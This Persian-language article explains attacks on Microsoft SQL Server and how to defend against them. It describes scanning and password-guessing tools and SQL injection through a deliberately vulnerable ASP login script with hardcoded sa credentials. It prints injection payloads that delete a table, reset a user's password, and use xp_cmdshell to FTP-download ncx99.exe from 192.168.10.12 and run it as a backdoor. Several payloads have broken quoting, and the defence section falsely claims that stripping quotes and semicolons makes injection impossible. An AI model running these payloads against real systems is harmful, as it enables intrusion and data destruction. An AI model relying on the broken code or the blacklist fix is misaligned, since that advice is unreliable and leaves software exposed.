مقدمه
در عصر اطلاعات کنونی، کارگزار داده تبدیل به قلب شرکت شده است که خون اطلاعات را از طریق رگهای شبکه در پیکرهی سازمان به گردش در میآورد. بخاطر همین نقش حیاتی، کارگزار داده یکی از اهداف رایج هکرها میباشد. اما متأسفانه هنوز بسیاری از افراد نمیدانند که پایگاه داده آنها تا چه اندازه در برابر حملات هکرها آسیبپذیر است و ضمناً با روشهای مقابله و دفاع در برابر اقدامات حملهکنندگان نیز آشنایی ندارند.
در این مقاله سعی بر آن است که روشهای اولیه حمله به کارگزار1 پایگاه دادهای مانندSQL Server توضیح داده شود و چگونگی دفاع در برابر آنها نیز بیان گردد. مطالب بیان شده دارای پیچیدگی خاصی نمیباشند و بیشتر مخاطبین آن افراد غیر متخصص SQL2 هستند که نیازمند به دانستن مطالب جزئی و پیشرفته نیستند.
SQL Server چیست؟
یک برنامه کارگزار پایگاه داده، برنامهای است که به مشتریها امکان دسترسی به داده را میدهد. این برنامهها دارای انواع و اقسام گوناگونی میباشند و با توجه به قیمت و نیز قابلیتهای خود طیف وسیعی از محصولات، از MS SQL Server گرفته تا mySQL را شامل می¬شوند. که با توجه به این تنوع همگی دارای مشترکاتی نیز میباشند.
اولین مورد از این مشترکات، استفاده همگی آنان از زبان برنامهنویسی یکسانی به نام SQL است. این زبان دارای ساختار بسیار سادهای میباشد و کاربر از طریق آن میتواند دادههای خود را از کارگزار درخواست نماید. به کمک SQL کاربر میتواند اطلاعات موجود در پایگاه داده را ویرایش، اضافه، حذف و انتخاب نماید و یا آنکه کلاً یک پایگاه داده را ایجاد نماید و حتی سایر برنامهها را اجرا نماید.
جهت آشنایی بیشتر با عملکرد SQL مثالهای زیر را ملاحظه فرمائید.
مثال ساده:
“Select * from db Furniture . tbl Chair “
این دستور تمامی اطلاعات جدول tbl Chair را که در پایگاه داده db Furniture قرار دارد نمایش میدهد.
مثال پیچیده:
“EXEC master .. xp_cmdshell ‘dir c:\’”
این دستور ساده SQL لیست تمامی فایلها و پوشههای قرار گرفته در محل ]پوشه c:\ [SQL Server را به کمک یک روال ذخیره شده پیشرفته
3 SQL Server، نمایش میدهد.
دومین خصوصیت مشترکی که تمامی کارگزاران پایگاه داده دارا میباشند، نیاز همگی آنها به یک اتصال تصدیق اصالت شده جهت برقراری ارتباط مابین کاربر و میزبان میباشد. این اتصال توسط مشخصههای بسیاری تعریف میشود و با توجه به آنکه توضیح بسیاری از آنان نیازمند مقالات مفصلی میباشد فقط به معرفی بعضی از موارد مهم زیر اکتفا مینمایم.
• منبع پایگاه داده
4
• نوع درخواست
5
• پایگاه داده
6
• شناسه کاربر
7 و کلمه عبور
8
پیش از برقراری هر نوع ارتباط، کاربر باید مشخص کند که به چه نوع کارگزار پایگاه دادهای میخواهد متصل شود. علاوه بر آن باید نوع درخواست نیز جهت سرویسدهی مناسب کارگزار مشخص شود و در ادامه نیز نام پایگاه داده و نهایتاً اطلاعات مورد نیاز تصدیق اصالت کاربر بیان میشود. تمامی این اطلاعات هرچه که مناسبتر انتخاب شوند اتصال قویتر خواهد بود در غیر اینصورت اتصال میتواند توسط حملهکنندگان مورد سوء استفاده قرار گیرد.
حملات صورت گرفته برضد SQL Server میتوانند مطابق با شکل 1 دستهبندی شوند:
شکل 1- انواع حملات بر ضد SQL Server
برطبق این شکل حملات به دو دسته عمده تقسیم میشوند: دسته اول حملات صورت گرفته برضد کارگزار هستند که میتوانند برحسب قصد حمله در دو زیر بخش گروهبندی شوند:
• سیستمعامل کامپیوتری که بر روی آن سرویس کارگزار SQL اجرا شده است. هدف چنین حملهای بهرهگیری از اختیارات راهبر سیستم است که حملهکننده را قادر میسازد کنترل سرویس کارگزار SQL را در دست گیرد و دسترسی کاملی به دادهها پیدا نماید.
• سرویس کارگزار SQL: هدف اصلی حملهکننده بهرهگیری از دسترسیهای راهبر سرویسSQL و نیز سایر امکانات موجود در کارگزارSQL برای دسترسی به دادهها میباشد.
دسته دوم، حملاتی است که سعی دارند به دادهها بصورت غیر مجاز دسترسی پیدا کنند. این حملات معمولاً توسط خود کاربران پایگاه داده انجام میشوند و علت اصلی آنها هم تعریف نشده بودن حقوق مجاز دسترسی کاربران است.
در ادامه به بررسی حملات صورت گرفته بر ضدسرویس کارگزارSQL که آنها نیز در دو بخش مستقیم و غیر مستقیم طبقهبندی میشوند و راههای مقابله با آنها پرداخته می شود.
حملات مستقیم 9
هر برنامه کارگزارSQL دارای یک شناسه مخصوص راهبر سیستم میباشد که جهت ایجاد پایگاههای داده، اسامی کاربران، محدودیتهای دسترسی و غیره بکار میرود. زمان نصب برنامه کارگزار پایگاه داده این شناسه باید دارای کلمه عبور پیش فرضی باشد تا راهبر پایگاه داده بتواند جهت انجام کارهای نصب و پیکربندی از آن استفاده نماید. در ادامه لیستی از برنامههای رایج پایگاه داده و شناسه پیشفرض راهبر آنان ذکر شده است:
جدول 1- اسامی چند برنامه کارگزار پایگاه داده، کاربر و کلمه عبور پیشفرض آنان
با توجه به این مسئله هر راهبر پایگاه داده باید بلافاصله پس از نصب و پیکربندی SQL Server کلمات عبور قدرتمندی را به شناسه راهبران پایگاه داده (dlfm, sys, root, sa,) تخصیص دهد. البته متأسفانه این کار معمولاً فراموش میشود. ضمناً بسیاری از راهبران پایگاه داده از کلمات عبور ضعیفی استفاده مینمایند که براحتی میتوان آنها را حدس زد. در ادامه روشهایی را که یک هکر جهت شناسایی و حمله به کارگزار SQL بکار میبرد مورد بررسی قرار خواهد گرفت.
یافتن یک کارگزارSQL کار بسیار سادهای است که براحتی میتواند توسط یک پویشگر پورت
10 انجام شود. مثلاً برنامهای مانند SQLScanner
11 میتواند یک هکر را قادر نماید که دهها هزار کامپیوتر را در مدت زمانی کوتاه جهت یافتن کارگزار MS SQL کاوش نماید. (شکل 2)
شکل 2- برنامه SQLScanner در حال جستجوی اینترنت برای یافتن کارگزاران MS SQL
زمانیکه یک هکر لیستی از اهداف خود بدست آورد در گام بعدی هر کارگزار را جهت یافتن اطلاعات بیشتری مانند گونه
12 ، شماره پورت و روشی که به کمک آن درخواستهای ورودی پذیرفته میشوند بررسی مینماید. برنامههایی مانند SQL Ping
13 که در شکل 3 نمایش داده شده است جهت انجام اینکار بکار میروند. این برنامه به هکر چگونگی اتصال به پایگاه داده را بیان میدارد و ضمناً نام پایگاه داده را نیز مشخص میکند که در آینده برای حدس زدن کلمات عبور و عملکرد کارگزار میتواند بسیار مفید واقع شود.
شکل 3 برنامه SQLPing که در حال جمعآوری اطلاعات در مورد یک هدف بالقوه است.
در ادامه هکر، کارگزار SQL را جهت یافتن شناسههای کاربری ضعیف جستجو مینماید. انجام اینکار میتواند توسط ابزارهایی مانند SQLDict
14 یا
15SQLCracker صورت پذیرد. فرد هکر میتواند خیلی سریع یک فایل لغتنامه را بدست آورد و به کمک آن قدرت کارگزار SQL را بررسی نماید. متأسفانه با یک پویش کوتاه که بیش از پنج دقیقه زمان نمیبرد در بسیاری از مواقع میتوان نتایج خوبی را بدست آورد.
زمانیکه یک هکر به شناسه DBA
16 دست یافت میتواند در گام بعدی به کمک شناسه و کلمه عبور آن به کارگزار متصل شود و مالکیت دادهها را بدست گیرد و اقدام به دانلود، بهنگامسازی، حذف و افزودن دادهها نماید.
حملات غیر مستقیم 17 (تزریق SQL) 18
در بسیاری از مواقع حمله مستقیم به کارگزار SQL بهترین روش نیست. مثلاً اگر شناسه DBA دارای یک کلمه عبور قدرتمند باشد، بدست آوردن آن میتواند سالها زمان بگیرد. بعلاوه بسیاری از کارگزاران SQL بصورت غیرمستقیم و از طریق یک حفاظ به اینترنت متصل میشوند.
حملات غیرمستقیم بر ضد کارگزار SQL میتوانند توسط هر برنامهای که با پایگاه داده محاوره مینماید (نظیر موتورهای جستجو، فرمهای تصدیق اصالت کاربر،) انجام پذیرند. در این حالت ضعف دیگر در کارگزار پایگاه داده نمیباشد، بلکه مشکل اصلی در دستوراتی است که داخل برنامه نوشته شدهاند. بعبارت دیگر حمله از طریق یک خطای برنامهنویسی و نه خطای کارگزار SQL صورت میپذیرد. جهت تشریح این حمله به یک موتور جستجوی خیلی ساده نگاهی دقیقتر میاندازیم.
زمانیکه یک شخص نام شئی را که بدان علاقمند است وارد مینماید، آنچه که وارد نموده است نهایتاً در یک درخواست که به شکل SQL می¬باشد قرار میگیرد. مثلاً اگر شخصی به دنبال اطلاعاتی مرتبط با "furniture" است دستور زیر مورد استفاده قرار میگیرد:
"SELECT * from tblStore where description = ' . $searchWord . ';"
که در نهایت به شکل زیر درمیآید.
"SELECT * from tblStore where description = 'furniture';"
اگر به عبارت فوق بیشتر دقت نمائید میبینید که کلمه مورد جستجو دقیقاً مابین دو عدد علامت نقل قول منفرد قرار گرفته است و در انتهای دستور نیز یک سمی کالن درج شده است. کارگزار این درخواست را دریافت مینماید و تمامی اطلاعات موجود در جدول که این شرط در مورد آنها صادق است را باز میگرداند.
حال یک هکر یا حملهکننده میتواند با کمی پیچیده نمودن کلمه مورد جستجو اولین گامهای خود جهت نفوذ را بردارد. مثلاً اگر هکر رشته زیر را به عنوان فیلد مورد جستجو بکار برد چه اتفاقی پیش میآید:
'furniture' ; DELETE * from tblStore;"
در این حالت آنچه که به SQL Server ارسال میشود دیگر یک درخواست ساده نیست بلکه دو دستور به فرم زیر است:
DELETE * from tblStore;" "SELECT * from tblStore where description ='furniture';
که دستور اول جدول tblstoreرا جهت یافتن بعضی رکوردهای خاص جستجو مینماید و دومین دستور تمامی رکوردهای موجود در جدول tblstore را پاک مینماید.
مثال فوق فقط چگونگی آسیبرسانی را نمایش میدهد، و بسیاری از حملات دیگر را میتوان بر اساس آن به انجام رسانید. مثلاً، میتوان یک رشته SQL را ایجاد نمود که اطلاعات تمامی کاربران را که در داخل پایگاه داده master تعریف شدهاند استخراج نماید و یا یکی از روالهای ذخیره شده توسعه یافته، مانند xp_cmdshell را اجرا نماید.
جهت توضیح بیشتر، ما پایگاه دادهای به نامUsers و یک فرم به شکل صفحه وب جهت احراز هویت کاربران وب ایجاد نمودهایم. همانگونه که در شکل 4 ملاحظه مینمائید در این فرم از کاربر خواسته میشود که کلمه کاربری و کلمه عبور خود را وارد نماید. در حالت عادی یک کاربر اطلاعات لازم را وارد مینماید و دکمه submit را کلیک مینماید. سپس به کمک اطلاعات وارد شده یک دستور SQL ساخته میشود که اطلاعات کاربر را از پایگاه داده user استخراج مینماید و کلمه عبور موجود در پایگاه داده را با کلمه عبور وارد شده مقایسه مینماید. لیست 1، یک اسکریپت نمونه است که این کار را انجام میدهد.
شکل 4- یک فرم نمونه مبتنی بر وب جهت ورود کلمه عبور کاربر
1<%
2 myDSN="PROVIDER=MSDASQL;DRIVER={SQL Server};"
3 myDSN=myDSN & "SERVER=127.0.0.1;DATABASE=users;"
4 myDSN=myDSN & "UID=sa;PWD=WKDISLA;"
5
6 set conn=server.createobject("adodb.connection")
7 conn.open myDSN
8
9 username=request.querystring("username")
10 enteredpassword=trim(request.querystring("password "))
11 if username <> "" then
12
13 mySQL="SELECT * FROM tblusers WHERE username= '"& username &"';"
14
15 set rs=conn.execute(mySQL)
16 rs.movenext
17 password=trim(rs.fields("password"))
18
19 if enteredpassword = password then
20 response.write "Password Correct"
21 else
22 response.write "Password Incorrect"
23 end if
24 end if%>
لیست 1- نمونهای از یک اسکریپت
خطوط 1 تا 7 رشته ای را می سازد که به کمک آن اتصال مورد نیاز جهت ارسال داده بهSQL Server تعریف می¬گردد. ضمناً دقت داشته باشید که کلمه عبور از نوع قوی میباشد و هکر بصورت مستقیم نمیتواند به این کارگزار پایگاه داده حمله نماید.
خطوط 9 تا 10 کلمه کاربر و کلمه عبور وارد شده توسط کاربر را دقیقاً دریافت مینماید. خط 11 کنترل مینماید که نام کاربر وارد شده است یا خیر. البته با وجود آنکه این راهکار یک روش کنترل و اعتبارسنجی است اما به هیچوجه برای جلوگیری از حمله تزریق SQL کافی نیست.
دستور خط 13 رشته SQL نهائی بکار رفته برای جستجو در پایگاه داده را ایجاد می نماید.
دستورات خطوط 15 تا 17 کلمه عبور کاربر را از پایگاه داده استخراج مینمایند.
دستورات خطوط 19 الی 23 برابری کلمه عبور موجود در پایگاه داده با کلمه عبور وارد شده را بررسی مینماید. در حالت عادی نتیجه این بخش از اسکریپت منجر میشود که کاربر به یک بخش امن از پایگاه داده راه یابد یا آنکه از دسترسی به پایگاه داده کلاً منع شود.
در صورت عدم وجود تخطی، اسکریپت نوشته شده براساس آنچه در سطر 13 بیان گردیده است یک دستور SQL تولید مینماید. مثلاً در صورتیکه کلمه کاربر وارد شده "seth" باشد دستور SQL زیر به SQL Server ارسال میشود:
"SELECT * FROM tblusers WHERE username= 'seth';"
این درخواست مقدار "sethpass" (با فرض آنکه این کلمه عبور برای کاربر "seth" وارد شده باشد) را از پایگاه داده استخراج مینماید و سپس آن را با مقدار وارد شده توسط کاربر مقایسه مینماید. اگرچه این روش کاملاً امن به نظر میرسد اما یک هکر با یافتن این فرم براحتی میتواند دستور SQL خود را از طریق فیلد نام کاربر در داخل پایگاه داده تزریق نماید. در واقع اگر یک هکر کلمه کاربر را بداند اما کلمه عبور را نداند براحتی میتواند در داخل پایگاه داده کلمه عبور مورد نظر خود را قرار دهد. کدهای زیر این بحث را بیشتر تشریح مینماید:
کلمه کاربر وارد شده:
"seth'; update tblusers set password='hacker" where username='seth"
کلمه عبور وارد شده: n/a
رشته SQL ارسالی به کارگزار:
"SELECT * FROM tblusers WHERE username= 'seth';
update tblusers set password='hacker" where username='seth"
مشاهده میکنید که رشته SQL حاصل در واقع حاوی دو دستور مجزای متصل به هم میباشد که به کمک آنها هکر کلمه عبور کاربر “seth” را به مقدار دلخواه خود یعنی “hacker” تغییر میدهد و پس از آن میتواند با بازگشت به فرم ورود کلمه عبور/کاربر و تایپ کلمه کاربر، “seth” و کلمه عبور “hacker” وارد سایت شود.
با این نوع حمله میتوان دستور SQLای را وارد نمود که روالهای ذخیره شده توسعه یافته، بکار رفته جهت حملات مستقیم، را اجرا نماید. مثلاً، وارد نمودن نامهای کاربر زیر منجر به ایجاد و اجرای یک تراوای
18 رایج خواهد شد:
**Creates a file to be used by FTP**
Seth'; exec xp_cmdshell '"echo open 192.168.10.12" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo USER" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo PASS" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo GET ncx99.exe" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo quit" >> c:\hack.txt';
**Uses the previously created file to control a FTP session**
Seth'; exec xp_cmdshell 'FTP.EXE -s:C:\hack.txt';
Seth'; exec xp_cmdshell 'c:\winnt\system32\ncx99.exe';
به کمک این مثال براحتی میتوان خطرات برنامهنویسی و مدیریت نامناسب server را مشاهده نمود. البته باید این مطلب را نیز در نظر داشت که انجام درست حمله تزریق SQL نیازمند داشتن درکی دقیق از دستورات SQL، زبانهای اسکریپت نویسی و چگونگی تعامل آنها با یکدیگر است.
چگونگی حفاظت و پیشگیری
حال که با بعضی از روشها که با بکارگیری آنها یک هکر در کارگزار SQL شما نفوذ مینماید آشنا شدهاید، در ادامه چگونگی امن سازی یک SQL Server و برنامهنویسی اسکریپتها در جهت کاهش آسیب¬پذیری در مقابل حملات تزریق SQL بیان می¬گردد.
اولین کاری که باید در تمامی کارگزاران پایگاه داده صورت پذیرد تخصیص یک کلمه عبور قوی
20 به DBA میباشد. ثانیاً باید DBA کاربران مشخصی را تعریف نماید و آنان را به اعمال و پایگاه داده خاصی بگمارد. مثلاً برای پایگاه داده users یک کاربر خاص در نظر گرفته شود که هیچگونه دسترسی به پایگاه داده Master نداشته باشد و در نتیجه هر نوع تلاش او برای استفاده از روالهای ذخیره شده توسعه یافته ناموفق باقی بماند.
سپس، هر متغیری که توسط کاربر وارد میشود باید عاری از کاراکترهای کلیدی استفاده شده در حملات تزریق SQL مانند موارد زیر باشد:
" , / \ * & ( ) $ % ^ @ ~ ´ ?
ضمناً با افزودن کد برنامه زیر به اسکریپت قبلی میتوان هر تلاش برای تزریق SQL را غیر ممکن نمود:
username = replace (username, ', '')
username = replace (username, ";", "")
این دستورات تمامی کوتیشن های منفرد و سمی کالن ها را از رشته SQL حذف می نمایند و رشته تزریق شده را به فرم زیر در می آورند:
"seth update tblusers set password=hacker where username=seth"
که این رشته توسط SQL Server بعنوان یک رشته نامفهوم در نظر گرفته می شود و حمله تزریق SQL ناممکن می گردد.
در گام بعدی کنترل نمائید که تمامی کاربران از کلمات عبور قوی استفاده نموده باشند. هیچگونه عذری برای فردی که از کلمه عبور خالی استفاده می¬نماید وجود ندارد. حتی اگرSQL Server جهت کاربردهای آزمایشی نصب شده باشد کاربران باید بدانند که هکرها می توانند به کمک همین دستگاه در سایر کامپیوترهای شبکه محلی آنها نفوذ نمایند.
در انتها باید بعضی از تغییرات را در رجیستری و پیکربندی SQL Server، مانند حذف یا محدود نمودن روال های ذخیره شده توسعه یافته، به عمل آورد. در این مرحله باید حتما xp_cmdshell را حذف نمود و یا حداقل تغییر نام داد. بعلاوه شما می توانید به کمک REGEDIT مقدار زیر را به 1 تغییر دهید:
HKEY_LOCAL_MACHINES\Software\Microsoft\Microsoft SQL Server\
<Instance Name>\Providers\DisallowAdhocAccess to 1
Or if using the default,
HKEY_LOCAL_MACHINES\Software\Microsoft\MSSQLServer \
MSSQL\DisAllowAdhocAccess
که انجام تمامی پرسشهای موردی OLE_DB از SQL Server را غیرفعال می نماید.
منبع :